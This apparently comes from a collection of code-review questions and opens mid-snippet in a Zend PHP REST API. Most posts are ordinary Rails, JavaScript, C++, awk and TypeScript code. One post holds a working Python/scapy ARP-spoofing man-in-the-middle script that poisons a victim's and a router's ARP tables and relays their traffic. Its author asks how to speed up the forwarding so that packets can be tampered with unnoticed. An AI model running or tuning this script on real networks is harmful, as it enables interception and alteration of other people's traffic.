        // error code here or call some error method?
        // do I do error coding here or send a message to some handler/helper?
    }
    echo Zend_Json::encode($return);
}

Essentially this will take a URL and pass json encode information that is currently stored in an array, i.e:

http://restapi.local/api/1

Will display:

[{"1":"Buy milk"}]

The routing takes place in the bootstrap:

class Bootstrap extends Zend_Application_Bootstrap_Bootstrap
{
    public function _initRoutes()
    {
        $front = Zend_Controller_Front::getInstance();
        $router = $front->getRouter();
        $restRoute = new Zend_Rest_Route($front);
        $router->addRoute('default', $restRoute);
    }

}

Below is the full ApiController.php:

class ApiController extends Zend_Controller_Action
{
    public function init()
    {
        /* Initialize action controller here */
        $this->_helper->viewRenderer->setNoRender(true);
        $this->_todo = array (
                    "1" => "Buy milk",
                    "2" => "Pour glass of milk",
                     "3" => "Eat cookies"
        );
    }

    public function indexAction()
    {
        // action body
        echo Zend_Json::encode($this->_todo);
    }

    public function getAction()
    {
        // action body
        $this->_getAllParams();
        $request = $this->_request->getParams();
        if (array_key_exists($request['id'], $this->_todo)){
            $return[] = array($request['id'] => $this->_todo[$request['id']]);
        }
        echo Zend_Json::encode($return);
    }

    public function postAction()
    {
        // action body
        $item = $this->_request->getPost('item');

        $this->_todo[count($this->_todo) + 1] = $item;

        echo Zend_Json::encode($this->_todo);
    }

    public function putAction()
    {
        // action body
    }

    public function deleteAction()
    {
        // action body
    }
}


texts: Speeding up forwarding of Ethernet frames in Python ARP spoof

texts:
I've followed a few tutorials on ARP Spoofing with Python/scapy. They all suggest activating the OS IP Forwarding in Linux:
echo 1 > /proc/sys/net/ipv4/ip_forward

This worked fine for me but has the disadvantage that I can't tamper with packets. Since I will need to demonstrate modifying a packet before sending it along I need to handle the forwarding myself. I came up with this:
from scapy.all import *
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from threading import Thread
import time

victim_ip = '192.168.0.2'
victim_mac = 'b0:34:95:ee:ee:b6'
router_ip = '192.168.0.1'
router_mac = 'C0:3E:0F:29:4F:EC'
attack_ip = '192.168.0.10'
attack_mac = '08:00:27:80:bd:26'

poison_timer = .1

def monitor_callback(pkt):
    # Only handle IP Layer packets
    if IP in pkt:
        # Forward packets from the victim to the router
        if pkt[Ether].src == victim_mac:
            pkt[Ether].dst = router_mac
            pkt[Ether].src = attack_mac
            sendp(fragment(pkt), verbose=0)
        # Packets destined to the victim are forwarded
        elif pkt[IP].dst == victim_ip:
            pkt[Ether].dst = victim_mac
            pkt[Ether].src = attack_mac
            sendp(fragment(pkt), verbose=0)

class monitor_incoming(Thread):
    def __init__(self):
        Thread.__init__(self)

    def run(self):
        sniff(prn=monitor_callback, filter="ip", store=0)

class poison(Thread):
    def __init__(self):
        Thread.__init__(self)

    def run(self):
        # Tell the victim 'router_ip is at attack_mac'
        router_is_at = ARP(op=2, psrc=router_ip, pdst=victim_ip, hwdst=attack_mac)

        # Tell the router 'victim_ip is at attack_mac'
        victim_is_at = ARP(op=2, psrc=victim_ip, pdst=router_ip, hwdst=attack_mac)

        while True:
            send(router_is_at, verbose=0)
            send(victim_is_at, verbose=0)
            time.sleep(poison_timer)

if __name__ == '__main__':
    monitor_incoming = monitor_incoming()
    monitor_incoming.start()

    poison = poison()
    poison.start()

The monitor_callback method is called every time an incoming packet arrives.
The program technically works. The router and the victim's ARP tables are poisoned and packets are "forwarded" past the middle-man.
The forwarding seems to be too slow though. Looking at Wireshark, it appears that the TCP Timer on both the victim and the server times out causing them to resend their packets before they're delivered. This leads to some kind of loop where they're each retransmitting and ACKing out sync packets. The bottom effect is that the victim can't even load a single small web page:

What is wrong with my program? It should technically be feasible to handle this in Python and still have a workable (even if slower) connection allowing the victim to browse the net.
(Note: I'm posting this on Code Review because the program technically works, even if it's not currently usable in practice, likely due to low optimization)


texts:
I wrote a wrapper around boost-mpl and transformed it to an sql engine. It is a compile time sql thing, not related to normal databases. I have not finished it completely. I have some problem with the interface.

A template meta program run in compile time. So input data always present in compile time that is why I organized the inputs to tables.

Tables are simple:

#define DEF_COLUMN(name) struct Col##name {}; \
                         template<typename T> struct name \
                         { typedef typename mpl::pair<Col##name, T> type; };
struct TestTable1
{
    DEF_COLUMN(PrimaryKey)
    DEF_COLUMN(Storage)
    DEF_COLUMN(BaseType)
    typedef mpl::vector<ColPrimaryKey, ColStorage, ColBaseType> header;

    // sample table
    // PrimaryKey | Storage |  BaseType
    // -----------+---------+-----------
    // CTypeA1    | int     | CTypeABase
    // CTypeA2    | string  | CTypeABase
    typedef mpl::vector<
        mpl::map3<PrimaryKey<CTypeA1>::type, Storage<int>::type,         BaseType<CTypeABase>::type>,
        mpl::map3<PrimaryKey<CTypeA2>::type, Storage<std::string>::type, BaseType<CTypeABase>::type>
    > type;
};

struct TestTable2
{
    DEF_COLUMN(Tag)
    DEF_COLUMN(Attribute)

    typedef mpl::vector<
        mpl::map2<Tag<CTypeA1>::type, Attribute<CTypeB1>::type>,
        mpl::map2<Tag<CTypeA2>::type, Attribute<CTypeB1>::type>,
        mpl::map2<Tag<CTypeA2>::type, Attribute<CTypeB2>::type>
    > type;
};

And you can make queries on it:

void TestQuery1()
{
    typedef Select<
            Columns<MplFunction<Column<TestTable1::ColStorage>, mpl::sizeof_> >,
            From<TestTable1,
               Join<TestTable2, Equal<TestTable1::ColPrimaryKey, TestTable2::ColTag> >
            >
    > TResultSet;
    DEBUG_TYPE((TResultSet));
    print_table<TResultSet::type>();
}

I have type debug macro and table print template helper.

So the above prints:

TResultSet => Select<Columns<MplFunction<Column<TestTable1::ColStorage>, boost::mpl::sizeof_>, mpl_::na>, From<TestTable1, Join<TestTable2, Equal<TestTable1::ColPrimaryKey, TestTable2::ColTag> > >, Where<True> >
+------------------------+
| TestTable1::ColStorage |
+------------------------+
| mpl_::size_t<8ul>      |
| mpl_::size_t<8ul>      |
| mpl_::size_t<4ul>      |
+------------------------+
3 rows in set

I have problem with the syntax, how can I improve this, to achive an easy to use meta query thing? I think I have to eliminate the Columns, Column thing from the

Select<Columns<MplFunction<Column< ...

expression. And I need good Row fetch things and others. Any idea? And where can I upload the source?

So this gives back compile time types, not runtime values.

void TestQuery3()
{
    typedef Select<
            Columns<Column<TestTable1::ColStorage> >,
            From<TestTable1>,
            Where<
                Equal<TestTable1::ColPrimaryKey, CTypeA1>
           >
    > TResultSet;
    DEBUG_TYPE((TResultSet));
    print_table<TResultSet::type>();

    // fetch one row
    typedef mpl::back<TResultSet::type>::type TResultRow;

    // get column ColStorage which is an int, TRes will be an int
    typedef mpl::at<TResultRow, TestTable1::ColStorage>::type TRes;

    // use the "int" type
    TRes testInteger = 9;

    // prints test value
    std::cout << "testInteger:" << testInteger << std::endl;
}

this prints:

TResultSet => Select<Columns<Column<TestTable1::ColStorage>, mpl_::na>, From<TestTable1, mpl_::na>, Where<Equal<TestTable1::ColPrimaryKey, CTypeA1> > >
+------------------------+
| TestTable1::ColStorage |
+------------------------+
| int                    |
+------------------------+
1 row in set

testInteger:9


texts: How to reduce code in hash created using Database and Params in rails

texts:
I have wrote following solution for one answer but I want to refactor to make it more simple and readable.
I am receiving params
sample_params = [{ user_id: 1, email: 'example1@example.com' },
{ user_id: 5, email: 'example5@example.com' },
{ user_id: 13, email: 'example13@example.com'}]

I want to create following hash to replace emails received from params
[
{department_id: 1, users: [{user_id: 1, email: 'example1@example.com'},
 {user_id: 5, email: 'example5@example.com'}]},
{department_id: 2, users: [{ user_id: 13, email: 'example13@example.com']

I am retrieving data from db using following codes
data =
  User
  .where(id: sample_params.pluck(:user_id))
  .pluck(:department_id, :id)
  .group_by(&:first).map do |department_id, users|
    { department_id: department_id,
      users: users.map { |_, id| id } }
  end

and then I am creating hash using following
result = []
data.each do |department|
  department_users = []
   department[:users].each do |user|
     emails = sample_params.select { |user| user[:user_id] == 1 }[0][:email];
     department_users << { id: user, emails: emails }
   end; result << {department_id: department[:department_id], users: department_users}
end

How can I refactor to get following benefits

Easy to read
less number of lines
Performance It has one query of sql so not an issue but on memory I am saving all in array.


texts: A nicer way of remapping the model attribute name with ember-data

texts:
The backend supplies an attribute called content which clashes with the controller content, so I'm remapping it:

App.Webinar = DS.Model.extend({
  body: DS.attr('string')
});

/**
 * Remap content -> body so it doesn't clash with the controller.
 */
App.EventSerializer = DS.DjangoRESTSerializer.extend({
  normalize: function(type, hash, prop) {
    hash.body = hash.content;
    delete hash.content;
    return hash;
  },
  serialize: function(record, options) {
    var json = this._super.apply(this, arguments);
    json.content = json.body;
    delete json.body;
    return json;
  }
});

Is there a nicer way of doing this with ember-data?


texts: Checking percentage of free memory using top and awk

texts:
The following Awk code was created in order to verify if free memory from the top command is less than 20% of the total.

I've noticed that I actually do not need the top -n1 | grep Mem |, because the FREEM and TOTALM parameters are inside the third awk line.

But on the other hand, I could not run the Awk as:

 awk -v FREEM=$FREE_ME MORY -v TOTALM=$TOTAL_MEMORY '{per=int(FREEM)/int(TOTALM)*100; if(per<=20) print "FAIL" ; else print "OK"}'

My current code is:

 TOTAL_MEMORY=` top -b -n1 | grep Mem: | awk '{print $2}' `

 FREE_MEMORY=` top -n1 | awk -v RS="[, ]" '/free/{print a}{a=$0}' | head -1 `

 top -n1 | grep Mem | awk -v FREEM=$FREE_MEMORY -v TOTALM=$TOTAL_MEMORY '{per=int(FREEM)/int(TOTALM)*100; if(per<=20) print "FAIL" ; else print "OK"}'

I have a feeling that this code is ugly because of the top -n1 | grep Mem |.  Are there any suggestions on running the awk without it?


texts: Operator overloading for Boost interval (vectors)

texts:
I am a complete newbie to C++ and programming in general. I need to write something for scientific purposes and as such, performance is crucial.

I introduced two types, matrices and vectors with intervals as entries, and now want to make them "able to work with", i.e. define basic operations. The type definitions:

#include <eigen3/Eigen/Dense>
#include <boost/numeric/interval.hpp>

namespace bn = boost::numeric;
namespace bi = bn::interval_lib;

// Interval typedefs
using Interval = bn::interval<
        double,
        bi::policies<
            bi::save_state<bi::rounded_transc_std<double> >,
            bi::checking_base<double>
        >
    >;

using Matrix = Eigen::Matrix<Interval, 3, 3>;
using Vector = Eigen::Matrix<Interval, 3, 1>;

Luckily, matrix products work without extra definitions (although I need to call a.lazyProduct(b), otherwise I receive an "operator unambiguous" error, which I don't understand), but inner products and multiplications with constants do not. It seems that I have to manually overload the multiplications, which I did as follows:

Vector operator* (const double& x, const Vector& y)
  {
  Vector res;
  for(int i = 0; i<3;i++) {
    res[i] = x*y[i];
  }
  return res;
  }

Matrix operator* (const double& x, const Matrix& y)
  {
  Matrix res;
  for(int i = 0; i<3; i++) {
    for(int j = 0; j<3; j++){
      res(i,j) = x* y(i,j);
    }
  }
  return res;
  }

Interval inner_prod(const Vector& x, const Vector& y){
  Interval res(0.0);
  for(int i = 0; i<3; i++){
    res += x[i]*y[i];
  }
  return res;
}

Interval inner_prod(const std::vector<double>& x, const Vector& y){
  Interval res(0.0);
  for(int i = 0; i<3; i++){
    res += x[i] * y[i];
  }
  return res;
}

sizes are hard-coded as I will not be working with any others. I would love to have some feedback and improvement suggestions that focus on performance. Also for the inner product, I was hoping there was a way to make use of std::inner_product for possible better performance, but I can't figure out how.

The boost/numeric/interval.hpp header gives a definition for multiplication of intervals with scalars, I must have made some mistake before that this didn't work. That just leaves my custom types.


texts: Angular.js - Using Service to share data between controllers

texts:
My Application looks something like this (Screenshot). To Control the URL Routing i am using a Angular Js Router. On Click of Store of the Side Panel the StoreList Appears. And on Click of the Edit, the portion template gets fetched from Spring MVC and displayed along with the details. I have written the Code for app.js provided in the below part.

Because data could not be shared between the controllers i have written a StoreService and then the listStore array and its getters and setters so that same can be accessed via the controllers. This works fine but :-

can there be a better code to this or any Angular functionalities i can use which can really simplify the code ? OR
if i am not violating the rules of this forumn, can i directly ask is that the right way to code ?
Was there anyway to use one single Controller for a logical module (like Store CRUD)  ?

app.js :-

    var storezillaadminapp = angular.module('storezilla-admin',['ngRoute']);

    storezillaadminapp.config(['$routeProvider',
            function($routeProvider) {
                $routeProvider.when("/liststores",{
                templateUrl:_contextPath+"/stores/getallstores",
                    controller : "StoreZillaAdminListController"
            });
            $routeProvider.when("/editstore/:id",{
                templateUrl:_contextPath+"/stores/geteditstore",
                controller : "StoreZillaAdminEditController"
            });
        }]);

    storezillaadminapp.service('StoreService',function($http){

       var listStores = [];

        this.getAllStores = function() {
            console.log('Called....');
            return $http.get(_contextPath+'/stores');
        };

        this.getListStores = function() {
            return listStores;
        };

        this.setListStores = function(data) {
            listStores = data;
        };
    });

    storezillaadminapp.controller('StoreZillaAdminListController',function($scope,StoreService){
        StoreService.getAllStores().success(function(response){
            $scope.listStores = response;
            StoreService.setListStores(response);
        });
    });

    storezillaadminapp.controller('StoreZillaAdminEditController',function($scope,$routeParams,StoreService){
    $scope.store = StoreService.getListStores()[$routeParams.id];
});


texts: Filter out duplicates from an array and return only unique value

texts:
I have the following script, which filters duplicates and returns only unique values for an array.
When passing false or nothing the "original" array is overwritten, when passing true a new array is created with unique values and returned instead.

The script should work only with numbers and strings.

I would like to know:

If it is possible to optimize the code for maximum performance and how,
If it is possible to improve or write in alternative way logic for createArray, maybe a better way in term of code repetition.

https://jsfiddle.net/dj7qxyL7/

    Array.prototype.getUnique = function (createArray) {
        createArray = createArray === true ? true : false;
        var temp = JSON.stringify(this);
        temp = JSON.parse(temp);
        if (createArray) {
            var unique = temp.filter(function (elem, pos) {
                return temp.indexOf(elem) == pos;
            }.bind(this));
            return unique;
        }
        else {
            var unique = this.filter(function (elem, pos) {
                return this.indexOf(elem) == pos;
            }.bind(this));
            this.length = 0;
            this.splice(0, 0, unique);
        }
    }

    var duplicates = [0, 0, 1, 1, 2, 3, 1, 1, 0, 4, 4];
    console.log('++++ ovveride')
    duplicates.getUnique();
    console.log(duplicates);
    console.log('++++ new array')
    var duplicates2 = [0, 0, 1, 1, 2, 3, 1, 1, 0, 4, 4];
    var unique = duplicates2.getUnique(true);
    console.log(unique);
    console.log('++++ original')
    console.log(duplicates2);


texts:
I want to make a nav that look like this:

Using the appendChild() method, and this is what I've done:

The myNode is the nav tag which has already been created via HTML.

var myNode = document.querySelector('.socialmediaicons');

var myEl = document.createElement('ul');

var myLi = document.createElement('li');

var myA = document.createElement('a');

var myImg = document.createElement('img');

var addEl = function() {
    var nodes = [myEl, myLi, myA, myImg];

    for(var i=0; i<nodes.length; i++) {
        myNode.appendChild(nodes[i]);

        for(var j=0; j<3; j++){
            nodes[j].appendChild(nodes[j+1]);
        }
    }

};

addEl();
console.log(myNode);

And it WORKS!!

I even added a src attribute to the myImg element using myImg.src= and the photo shows up. But is this code GOOD!?

Is there any better way to do it? (If you have a jQuery method it's OK, but show me the pure JavaScript method after it.) I like the pure JavaScript way and also for learning purposes.


texts:
How can I refactor this into one line? Is that possible, even with ES6 syntax?

export const zeroBalance = (coin) => {
    coin.balance = 0;
    return coin;
};


texts: How do I create an "Environment Variable Setter"?

texts:
I have a NodeJS/Typescript project.
In server.js, I want to set my environment variables from a .env file. To achieve this, I am using the dotenv npm package.
However, rather than leaving everything hanging in server.ts, I want to encapsulate this code. The solution I've come up is as follows.
The goal is for my project to adhere to SOLID and GRASP principles.
In server.ts I have the following:
import { EnvVarsSetter } from "@server/controllers/env_vars_setter/env_vars_setter";

new EnvVarsSetter().init(".env.development");

In src/controllers/env_vars_setter/env_vars_setter.ts I have the following:
import path from "path";

export class EnvVarsSetter {
    public init(fileName: string): void {
        const result = require("dotenv").config({
            path: path.resolve(process.cwd(), fileName),
        });

        if (result.error) {
            throw result.error;
        }

        console.log(`Successfully parsed and loaded env vars`);
    }
}

Is this good design? Any suggestions on how to achieve my goal in a better way?


texts: Algorithm to find the Array Balance Point

texts:
Task: Find the balance point of an array; return the index that if you break the array into left and right at that point will create the same sum on both sides.
e.g: given the array [2, 4, 5, 1, -2, 7, 2, 1, 4]
returned value should be: 3
left: 2, 4, 5, 1 = 12
right: -2, 7, 2, 1, 4 = 12

public static arrayBalance(input?: number[]): any {
    let sum = 0;
    for(let i=0; i<input.length; i++) {
        let cur = input[i];
        sum += cur;
    }

    let mid = sum / 2;
    let sum2 = 0;
    let ret = 0;
    while(sum2 < mid && ret < input.length) {
        sum2 += input[ret];
        ret++;
    }

    return sum2 == mid ? (ret - 1) : -1;
}

  Time complexity: \$O(2n)\$,
  Space complexity: \$O(1)\$

Am I right regarding the complexities?
Do you have different implementation suggestions?